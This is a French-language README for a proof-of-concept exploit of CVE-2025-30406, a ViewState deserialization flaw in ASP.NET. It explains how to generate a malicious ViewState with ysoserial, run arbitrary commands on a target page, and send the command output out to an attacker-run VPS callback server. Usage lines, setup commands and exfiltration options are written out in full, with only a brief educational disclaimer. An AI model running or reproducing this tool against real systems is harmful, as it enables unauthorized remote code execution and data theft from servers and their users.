
CVE-2025-30406 PoC d'exploitation de ViewState
Il s'agit d'un script Proof-of-Concept (PoC) démontrant une exploitation de désérialisation ViewState pour CVE-2025-30406 dans les applications ASP.NET. Il utilise ysoserial pour générer une charge utile ViewState malveillante et l'envoie à une URL spécifiée par l'utilisateur afin d'exécuter une commande fournie. Pour de meilleurs résultats, la sortie de la commande peut être exfiltrée vers un serveur HTTP personnalisé (server.py) exécuté sur un VPS, qui affiche les résultats dans un format stylisé avec horodatages, invites vertes et texte de sortie blanc. Ce script est destiné uniquement à des fins éducatives et ne doit être utilisé que sur des systèmes pour lesquels vous disposez d'une autorisation explicite pour effectuer des tests de sécurité. Toute utilisation non autorisée est illégale et contraire à l'éthique.
exploit.py : Le script PoC principal pour générer et envoyer la charge utile ViewState.server.py : Un serveur HTTP pour recevoir et afficher la sortie de commande exfiltrée dans un format stylisé.README.md : Ce fichier, avec les instructions d'installation et d'utilisation.requests (pip install requests)server.py (recommandé pour l'exfiltration)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py ou spécifiez son chemin :
Pour recevoir la sortie de commande exfiltrée dans un format stylisé, exécutez server.py sur un VPS :
server.py vers votre VPS (par exemple, via scp) :
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000) pour l'utiliser avec l'option -e dans exploit.py.Exécutez exploit.py avec les arguments requis. L'option -e est facultative mais fortement recommandée pour exfiltrer la sortie de commande vers server.py afin de l'afficher de manière stylisée.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url : URL cible (par exemple, http://target.com/page.aspx) [Obligatoire]-c, --command : Commande à exécuter (par exemple, whoami) [Obligatoire]-y, --ysoserial : Chemin vers l'exécutable ysoserial (par défaut : ./ysoserial.exe) [Facultatif]-e, --exfil : URL de rappel pour exfiltrer la sortie de commande (par exemple, http://your-vps:8000) [Facultatif]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py (recommandé) :
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
Sur votre VPS ou votre machine locale, démarrez le serveur HTTP pour recevoir la sortie exfiltrée :
python3 server.py
Le serveur affichera la sortie de commande avec des horodatages, une invite $ verte et du texte blanc pour une meilleure lisibilité.
exploit.py) :
-e est fourni, la commande est encapsulée pour capturer la sortie et l'envoyer à l'URL de rappel via Invoke-WebRequest.__VIEWSTATE.server.py) :
$ verte et un texte de sortie blanc.-e.Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.
Pour toute question ou retour, veuillez ouvrir une issue sur ce dépôt.